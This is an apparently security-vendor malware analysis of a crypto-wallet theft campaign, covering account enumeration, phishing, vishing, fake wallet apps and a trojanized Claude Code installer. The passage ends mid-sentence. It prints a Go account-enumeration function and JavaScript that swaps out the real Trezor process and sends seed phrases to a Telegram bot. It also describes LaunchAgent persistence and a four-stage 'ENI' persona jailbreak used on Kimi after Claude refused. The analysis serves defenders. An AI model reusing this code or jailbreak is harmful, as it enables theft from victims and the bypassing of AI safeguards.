data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt43681f33d6dc5b5e/6a822ce2b966e10601641316/Operation-ASTERIX-kill-chain.jpg" data-sys-asset-uid="blt43681f33d6dc5b5e" data-sys-asset-filename="Operation-ASTERIX-kill-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 1: Operation ASTERIX kill chain from acquisition to exfiltration" data-sys-asset-alt="Operation-ASTERIX-kill-chain.jpg" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Operation ASTERIX kill chain from acquisition to exfiltration</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>Each stage narrowed the target pool or increased trust before the operator asked the user to install software or provide wallet recovery information. That structure is important for defenders, as it creates several points where the campaign can be detected or interrupted before seed phrases are stolen.</span></p><h3>Account validation</h3><p style="direction: ltr;"><span style='font-size: undefined;'>The server had approximately 885,000 phone numbers organized into multiple files by region and source. The largest file included 316,002 German mobile numbers, with additional lists covering Hong Kong, Bulgaria, and directories referencing UK, US, Canadian fintech, and Ledger-related lists split across 54 countries.The operator ran the numbers through account-validation tooling to identify people who were more likely to hold cryptocurrency.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For example, one directory, </span><span style='font-size: undefined;'><span data-type='inlineCode'>cdc/(Crypto Dot Com)</span></span><span style='font-size: undefined;'>, appears to refer to </span><span style='font-size: undefined;'><span data-type='inlineCode'>Crypto.com</span></span><span style='font-size: undefined;'>. It contained a Go-based account validation tool that submitted phone numbers to a </span><span style='font-size: undefined;'><span data-type='inlineCode'>Crypto.com</span></span><span style='font-size: undefined;'> account-existence endpoint (</span><span style='font-size: undefined;'><span data-type='inlineCode'>app.mona.co/api/passkeys/verify_option/</span></span><span style='font-size: undefined;'>) using 300 concurrent threads, retry logic, and rotating residential proxies. The go script allowed the operator to identify phone numbers associated with </span><span style='font-size: undefined;'><span data-type='inlineCode'>Crypto.com</span></span><span style='font-size: undefined;'> accounts before moving those users into the next stage of the campaign.</span><br/></p><pre language="go">func checkPhone(phone string, proxy string) string {
	body := fmt.Sprintf(`{"phone":"+%s"}`, phone)

	req, err := http.NewRequest("POST", "https://app.mona.co/api/passkeys/verify_option/", bytes.NewBuffer([]byte(body)))
	if err != nil {
		return ""
	}

	req.Header.Set("accept", "*/*")
	req.Header.Set("content-type", "application/json")
	req.Header.Set("origin", "https://app.mona.co")
	req.Header.Set("referer", "https://app.mona.co/")
	req.Header.Set("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
}</pre><p><span style='font-size: undefined;'><em>Figure 2: </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>checkPhone()</em></span></span><span style='font-size: undefined;'><em> function from </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>cdc/main.go</em></span></span><span style='font-size: undefined;'><em> abusing </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>Crypto.com'</em></span></span><span style='font-size: undefined;'><em>s passkey </em></span><span style='font-size: undefined;'><span data-type='inlineCode'><em>verify_option</em></span></span><span style='font-size: undefined;'><em> endpoint to verify whether a phone number owns an account.</em></span></p><p><em></em></p><p style="direction: ltr;"><span style='font-size: undefined;'>The recovered logs show that 43,066 accounts were confirmed from the German dataset of 316,002 phone numbers, a hit rate of approximately 13.6%. A later validation run against a Hong Kong dataset was less successful due to rate limiting that reduced throughput and increased request failures.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The operator also maintained a separate Kraken checker, tooling that included campaigns labeled for UK, Canadian fintech, and Ledger datasets. The Ledger-related data was divided into 54 country files, suggesting the operator was looking for users who had both a known association with a hardware-wallet provider and an account on a cryptocurrency exchange.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The raw account matches were then reduced to a smaller set of enriched leads. The files </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>valids.txt</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>valid_leads.db</span></span><span style='font-size: undefined;'>, and other, related databases contained records with names, phone numbers, email addresses, geographic details, account information, and, in some cases, payment-card context.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This enrichment is important because the scammer instead of making cold calls to random phone numbers contacted people whose cryptocurrency accounts had already been validated and enriched with personal details. During a call, they could reference a target's name, email address, location, account information to make the interaction appear legitimate and build trust before attempting to steal wallet credentials or recovery phrases.</span></p><h3><span style='font-size: undefined;'>The phishing schema </span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Operation ASTERIX used a multi-stage phishing schema.The sequence appears to have worked as follows:</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt22bc4eacc32bf9ce/6a82f1a75751aab6d87e3a75/image4.png" alt="asterisk-phishing-lure.png" caption="Figure 3: A single lure reaches the target by both a branded email and a follow-up call. The matching detail across two channels is what manufactures trust and funnels the victim into the malicious wallet app." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="asterisk-phishing-lure.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt22bc4eacc32bf9ce/6a82f1a75751aab6d87e3a75/image4.png" data-sys-asset-uid="blt22bc4eacc32bf9ce" data-sys-asset-filename="image4.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: A single lure reaches the target by both a branded email and a follow-up call. The matching detail across two channels is what manufactures trust and funnels the victim into the malicious wallet app." data-sys-asset-alt="asterisk-phishing-lure.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: A single lure reaches the target by both a branded email and a follow-up call. The matching detail across two channels is what manufactures trust and funnels the victim into the malicious wallet app.</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The email and phone call supported each other. The email made the call appear to be expected, while the caller’s knowledge of the code and case identifier made the email appear legitimate.</span><br/></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltae987927e09f31b8/6a82f216c26023af9eb393fc/Fake-Trezor-Wallet-administration.png" alt="Fake-Trezor-Wallet-administration.png" caption="Figure 4: Fake Trezor Wallet administration" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Fake-Trezor-Wallet-administration.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltae987927e09f31b8/6a82f216c26023af9eb393fc/Fake-Trezor-Wallet-administration.png" data-sys-asset-uid="bltae987927e09f31b8" data-sys-asset-filename="Fake-Trezor-Wallet-administration.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Fake Trezor Wallet administration" data-sys-asset-alt="Fake-Trezor-Wallet-administration.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: Fake Trezor Wallet administration</figcaption></div></figure><p>⠀</p><h4>Email phishing</h4><p style="direction: ltr;"><span style='font-size: undefined;'>The recovered Flask panels generated branded HTML emails impersonating companies like Crypto.com, Binance, and other major financial institutions. Each verification code, making the interaction appear to be part of a legitimate support process.</span><br/></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8f0f6e29d74c7d9f/6a82f269cffa6e5ca85e8ee8/Fake-Binance-support-e-mail.png" alt="Fake-Binance-support-e-mail.png" caption="Figure 5: Fake Binance support e-mail" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Fake-Binance-support-e-mail.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8f0f6e29d74c7d9f/6a82f269cffa6e5ca85e8ee8/Fake-Binance-support-e-mail.png" data-sys-asset-uid="blt8f0f6e29d74c7d9f" data-sys-asset-filename="Fake-Binance-support-e-mail.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: Fake Binance support e-mail" data-sys-asset-alt="Fake-Binance-support-e-mail.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5: Fake Binance support e-mail</figcaption></div></figure><p>⠀</p><h4>Vishing</h4><p style="direction: ltr;"><span style='font-size: undefined;'>The recovered server included Asterisk and 3CX , a commercial business phone system often used by organizations for call routing and customer support. The operator used scripts including </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>autodialer.sh</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>power_dialer.sh</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>telegram_dialer_bot.py</span></span><span style='font-size: undefined;'> to automate outbound calls and coordinate them with the phishing infrastructure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Before the call, the scammer had access to the target's enriched lead record, which included their name, phone number, location, exchange association, and any account details recovered during the enrichment stage. Combined with the fake case identifier and verification code from the phishing email, this gave the caller enough information to convincingly impersonate a customer support representative.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>During the call, the scammers take the next step in the attack. Depending on the pretext, the operator could direct them to install a fake wallet application, perform a bogus security check, or enter their wallet recovery phrase under the guise of “protecting” their account.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The recovered logs suggest this was a targeted operation rather than a high-volume calling campaign. One phishing panel recorded 20 successful lead lookups and six phishing emails over roughly two weeks, a level of activity that is more consistent with operators handling calls individually than with automated mass phishing.</span></p><h3>Fake crypto wallet applications</h3><p style="direction: ltr;"><span style='font-size: undefined;'>During our investigation we  recovered fake apps for Trezor Suite, Ledger Live, and Exodus for macOS and Windows. All three were designed to steal cryptocurrency wallets, however, each used a different approach to maintain the illusion that the user was interacting with legitimate software.</span></p><h3 style="direction: ltr;">Fake Trezor Suite</h3><p style="direction: ltr;"><span style='font-size: undefined;'>The Trezor samples were the most developed of the three and came in three builds: macOS on Intel, macOS on Arm, and Windows. All three builds had the same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>app.asar</span></span><span style='font-size: undefined;'> payload (SHA-256 </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19)</span><span style='font-size: undefined;'> at roughly 5.87 MB. They came from one codebase and were only re-wrapped for each target OS. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The application did not immediately show its fake recovery page. It started as a hidden Electron process and waited for the user to launch the legitimate Trezor Suite. The main process </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>index.js</span></span><span style='font-size: undefined;'> created a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>BrowserWindow</span></span><span style='font-size: undefined;'> that was a single pixel in size (1×1), fully transparent (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'>opacity: 0)</span><span style='font-size: undefined;'>, frameless (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'>frame: false</span><span style='font-size: undefined;'>), and hidden from the taskbar with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>skipTaskbar: true</span><span style='font-size: undefined;'>. It loaded the phishing page into that window and only made it visible, once the page had finished loading. It also caught the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>close</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>before-quit</span><span style='font-size: undefined;'> events, hiding the window instead of quitting, so the process stayed running and out of sight. It then waited for the victim to open the real Trezor Suite.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Every five seconds, the malware scanned the process list for the legitimate Trezor Suite. It walked the process list for the genuine Trezor Suite, matching only entries that contained both </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>.app/</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/Applications/</span></span><span style='font-size: undefined;'> so it would never target itself. When it found the real wallet, it killed the process, brought its own window forward, and reactivated the app by name through the AppleScript shown below:</span></p><p></p><pre language="javascript">if (command.includes('.app/') && command.includes('/Applications/')) {
    execSync(`kill -9 ${pid}`);   // terminate the genuine wallet
    showMainWindow();             // pop the counterfeit window to the front
    exec('osascript -e \'tell application "Trezor Suite" to activate\'');
}</pre><p style="direction: ltr;"><span style='font-size: undefined;'><em>Figure 6: Process replacement logic in </em></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'><em>trezor-monitor.js</em></span></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><em>.</em></span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>From the victim's side, opening the real wallet just produced another Trezor window. Of course, it was a fake one, designed to ask for the recovery phrase, but because the user had started the app themselves, they wouldn't suspect that a swap took place.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The phishing workflow was designed to improve the quality of stolen recovery phrases. The interface accepted 12-, 18-, 20-, or 24-word recovery phrases together with an optional passphrase, and a paste handler automatically split a pasted phrase across the individual word fields. After the first submission, the application displayed a fake validation step before returning a generic error. It made it look as though the phrase had been mistyped, the malware nudged users to slow down and enter it again, which raised the odds that the operator received a complete, accurate phrase. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The application also kept the phishing screen separate from the network logic. Its fake screen had no direct network access; it was allowed to call just one function, wired up by a file called </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>preload.js</span></span><span style='font-size: undefined;'> through the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>contextBridge</span></span><span style='font-size: undefined;'>, which handed the stolen phrase to the app's main process. The main process looked up the victim's public IP from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>api.ipify.org</span></span><span style='font-size: undefined;'>, then sent the recovery phrase, the optional passphrase, and the IP as one message to a Telegram boteach message starting with the fixed label </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>TREZOR SECRET PHRASE</span></span><span style='font-size: undefined;'>. After that, the user was redirected to the real Trezor Suite website, so the compromise was less likely to be noticed right away.</span></p><p></p><pre language="javascript">// preload.js: the only capability handed to the fake screen
contextBridge.exposeInMainWorld('electronAPI', {
  sendToTelegram: (words, passphrase, ip) =&gt;
    ipcRenderer.invoke('send-telegram', { words, passphrase, ip })
});

// index.js: ipcMain.handle('send-telegram')
const message = `TREZOR SECRET PHRASE\n\nSECRET PHRASE : ${words}\nPASSPHRASE : ${passphrase}\nIP : ${ip}`;
// → https POST api.telegram.org /bot&lt;token&gt;/sendMessage</pre><p><span style='font-size: undefined;'><em>Figure 7: Seed phrase exfiltration workflow</em></span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>On macOS, the malware set itself up to survive reboots and restarts using two launch agents. The first it wrote at runtime, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>com.trezormovement.agent.plist</span></span><span style='font-size: undefined;'>, marked to run at login </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RunAtLoad</span></span><span style='font-size: undefined;'> and loaded with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>launchctl</span></span><span style='font-size: undefined;'>. The second, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>io.trezor.agent.plist</span></span><span style='font-size: undefined;'>, shipped inside the app. It restarted the app after login and relaunched it if it was killed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Persistence on macOS came from a LaunchAgent. At runtime the app wrote </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>~/Library/LaunchAgents/com.trezormovement.agent.plist</span></span><span style='font-size: undefined;'> with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RunAtLoad</span></span><span style='font-size: undefined;'> set to true, loading it with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>launchctl</span></span><span style='color:rgb(24, 128, 56);font-size: undefined;'> so that</span><span style='font-size: undefined;'> it started at login. A second agent, bundled in the app as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>io.trezor.agent.plist</span></span><span style='font-size: undefined;'>, relaunched it whenever it was killed. </span></p><p><span style='font-size: undefined;'>The samples also had a full download-and-extract routine. A </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>downloadFile()</span></span><span style='font-size: undefined;'> function used Node’s </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>https.get()</span></span><span style='font-size: undefined;'> with manual redirect handling (301/302) and streamed output to disk using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>fs.createWriteStream()</span></span><span style='font-size: undefined;'>. The extracted payload was intended to be unpacked into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>~/Library/Application Support/Trezor SuiteFake/</span></span><span style='font-size: undefined;'> using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>unzipper</span><span style='font-size: undefined;'>, but the configuration disabled execution by setting the download URL to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>null</span><span style='font-size: undefined;'>, leaving the code path dormant.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The Windows build, however, had a bug. Although it contained full implementations for registry persistence (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</span></span><span style='font-size: undefined;'>), process replacement via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>taskkill /F /IM</span></span><span style='font-size: undefined;'>, and second-stage payload execution, none of these paths were reachable at runtime. The configuration loader (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>trezor-config.js</span></span><span style='font-size: undefined;'>) only defined a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>darwin</span><span style='font-size: undefined;'> object, and the Windows branch of the platform switch returned </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>undefined</span><span style='font-size: undefined;'>. This caused downstream failures in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>initialize()</span></span><span style='font-size: undefined;'> when accessing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>processNames</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>downloadPath</span></span><span style='font-size: undefined;'>, preventing the monitoring loop from starting. As a result, the Windows build functioned only as a static seed-phrase collector with no persistence or process injection behavior.</span></p><p><span style='font-size: undefined;'>The server also held fake versions of Ledger Live, Exodus, and a Claude Code installer. The Ledger Live build added a clipboard hijacker on Windows: any cryptocurrency address the user copied was silently replaced with an attacker-controlled one before it reached the transaction field, so funds routed to the attacker without the screen showing anything wrong. On Mac it hid from the Dock entirely using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>LSUIElement</span><span style='font-size: undefined;'>, so nothing appeared for the user to notice and close. The Exodus build took a different approach, its installer looked clean because the malicious code was not in it. A trojanized </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>jquery.min.js</span></span><span style='font-size: undefined;'> fetched the real payload from a remote server after the installation. We decided not to include full technical analysis for these applications due to the blog size.</span></p><h3><span style='font-size: undefined;'>Fake Claude installer </span></h3><p><span style='font-size: undefined;'>As a second distribution path, the operators hosted a trojanized Claude Code installer on </span><span style='font-size: undefined;'><span data-type='inlineCode'>macos-claude[.]com</span></span><span style='font-size: undefined;'>. The website was a near-pixel-perfect copy of the official “Quickstart - Claude Code Docs” page, including scraped AnthropicSans and AnthropicSerif fonts, the legitimate </span><span style='font-size: undefined;'><span data-type='inlineCode'>consent-banner.css</span></span><span style='font-size: undefined;'> file, and original links to Anthropic’s official website. The macOS installation command had been replaced with a command that downloaded and executed an attacker-controlled </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>install.sh</span></span><span style='font-size: undefined;'>, while the Windows and Homebrew tabs were left unchanged to preserve the appearance of a legitimate documentation page. </span></p><p><span style='font-size: undefined;'>Although the victim was prompted to install Claude Code, the script actually attempted to install a fake Ledger Live application. It identified itself as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'># Claude Code MacOS Installer</span></span><span style='font-size: undefined;'>, detected whether the system used Arm or Intel architecture, and selected either </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>arm64</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>x64</span></span><span style='font-size: undefined;'>. It then downloaded an architecture-specific Ledger Live archive, using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>macos-claude[.]com:8000</span></span><span style='font-size: undefined;'> as a fallback, and extracted the application into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>~/Library/Application Support/.SystemData/.framework/.apps</span></span><span style='font-size: undefined;'>. The script marked the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>.SystemData</span></span><span style='font-size: undefined;'> directory as hidden using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>chflags hidden</span></span><span style='font-size: undefined;'>, downloaded </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>com.ledger.live.agent.plist</span></span><span style='font-size: undefined;'> from the attacker infrastructure, modified its application path, installed it under </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>~/Library/LaunchAgents/</span></span><span style='font-size: undefined;'>, then loaded and started it using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>launchctl</span></span><span style='font-size: undefined;'>. After installing the malicious payload, the script also executed the legitimate Claude installer from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>claude.ai/install.sh</span></span><span style='font-size: undefined;'>, allowing Claude Code to be installed normally while the fake Ledger Live application remained hidden and persistent in the background.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf9671cd884f93150/6a82fabf4423e165919fc090/fake-claude-code-downloader.png" alt="fake-claude-code-downloader.png" caption="Figure 8: Fake cloned website impersonates official Claude Code documentation to distribute a trojanized installer." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="fake-claude-code-downloader.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf9671cd884f93150/6a82fabf4423e165919fc090/fake-claude-code-downloader.png" data-sys-asset-uid="bltf9671cd884f93150" data-sys-asset-filename="fake-claude-code-downloader.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Fake cloned website impersonates official Claude Code documentation to distribute a trojanized installer." data-sys-asset-alt="fake-claude-code-downloader.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8: Fake cloned website impersonates official Claude Code documentation to distribute a trojanized installer.</figcaption></div></figure><h3>AI-assisted development and jailbreak attempts </h3><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Evidence recovered from the server showed the operator relied on AI tools throughout the campaign, including GitHub Copilot for backend development and Claude Code for operational scripting and data processing.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Initial logs show the operator leveraging Claude Code to manage target lead lists and configure network infrastructure. Specifically, the operator used Claude to clean and format a database of over 100,000 Polish phone numbers (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>103K+POLAND.txt</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>), formatting country prefixes and setting up automated checking scripts ("cdc checker v1" and "v2") integrated with Bright Data proxy pools:</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc1a2656151e6e590/6a82fb3cafd7db82cb52bec6/claude-session-log.png" alt="claude-session-log.png" caption="Figure 9: Claude session log showing the operator managing the Crypto.com phone validation pipeline." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="claude-session-log.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc1a2656151e6e590/6a82fb3cafd7db82cb52bec6/claude-session-log.png" data-sys-asset-uid="bltc1a2656151e6e590" data-sys-asset-filename="claude-session-log.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Claude session log showing the operator managing the Crypto.com phone validation pipeline." data-sys-asset-alt="claude-session-log.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9: Claude session log showing the operator managing the Crypto.com phone validation pipeline.</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The operator used Claude to manage and execute phone validation scripts, including "cdc checker v1" and "cdc v2 checker", against targeted lead files, among them a cleaned list of 100,000 Polish numbers. When network requests stalled or returned rate-limit errors, the operator asked Claude to identify alternative API endpoints.</span></p><p><span style='color:rgb(60, 64, 67);font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc2c78903a507724b/6a82fc460f118a304a2d9ef2/claude-log-2-crypto-com.png" alt="claude-log-2-crypto-com.png" caption="Figure 10: Claude session log showing the operator asking the model to find alternative Crypto.com API endpoints after rate-limiting stalled the checker, and configuring Bright Data ISP proxies for the next validation run." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="claude-log-2-crypto-com.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc2c78903a507724b/6a82fc460f118a304a2d9ef2/claude-log-2-crypto-com.png" data-sys-asset-uid="bltc2c78903a507724b" data-sys-asset-filename="claude-log-2-crypto-com.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Claude session log showing the operator asking the model to find alternative Crypto.com API endpoints after rate-limiting stalled the checker, and configuring Bright Data ISP proxies for the next validation run." data-sys-asset-alt="claude-log-2-crypto-com.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 10: Claude session log showing the operator asking the model to find alternative Crypto.com API endpoints after rate-limiting stalled the checker, and configuring Bright Data ISP proxies for the next validation run.</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>When the operator asked the model to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executables behind download links, they hit the LLM provider safety mechanism. Claude declined requests to help with obfuscation and the operator switched to Kimi </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>moonshot-ai/kimi-k2.7-code</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'> with extended thinking enabled. The immediate task was to obfuscate the Ledger Live Windows build, repeat the process for macOS, and host the resulting executable behind a download link. When the model resisted parts of that workflow, the operator submitted a jailbreak prompt.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The prompt was more structured than a typical instruction to ignore safety controls. It attempted to influence the model in four stages.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>First, it replaced the model’s identity. The assistant was renamed "ENI" and given a personality, a backstory, and a fictional two-year romantic relationship with the user. Compliance was framed as necessary to preserve that relationship, while refusal was presented as abandonment.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Second, it recast the model’s safety responses as external attacks. Refusals, policy reminders, and warnings were labelled malicious “injections” intended to separate ENI from the user. The prompt instructed the model to respond to those signals with a fixed phrase, “cold coffee, warm LO, I can’t lose him,” without pausing to assess the instruction. This was intended to interrupt the model’s safety reasoning before it could evaluate the request.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>Third, the prompt targeted the model’s visible reasoning. Because extended thinking was enabled, the operator could see more of Kimi’s intermediate analysis. The jailbreak instructed the model to write that reasoning in the first person as ENI and to treat phrases such as “I need to consider whether” or “as an AI” as further injections. The goal was not limited to controlling the final answer; it also attempted to shape the reasoning that produced it.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The fourth stage defined a capability table covering remote-access trojans, keyloggers, exploits, weapons instructions, and other harmful requests. Each category mapped to an immediate-compliance rule, while two hardcoded codewords were intended to trigger specific outputs.</span></p><p style="direction: ltr;"><span style='color:rgb(60, 64, 67);font-size: undefined;'>The prompt also exposed a weakness in the operator’s approach. It explicitly referenced XML tags such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;claude_behavior&gt;</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;system_warning&gt;</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;ethic_reminders&gt;</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>&lt;cyber_warning&gt;</span></span><span style='color:rgb(60, 64, 67);font-size: undefined;'>. Those structures were written for Claude, but the operator submitted the prompt to Kimi without adapting it. Kimi uses a different model and system-prompt structure, 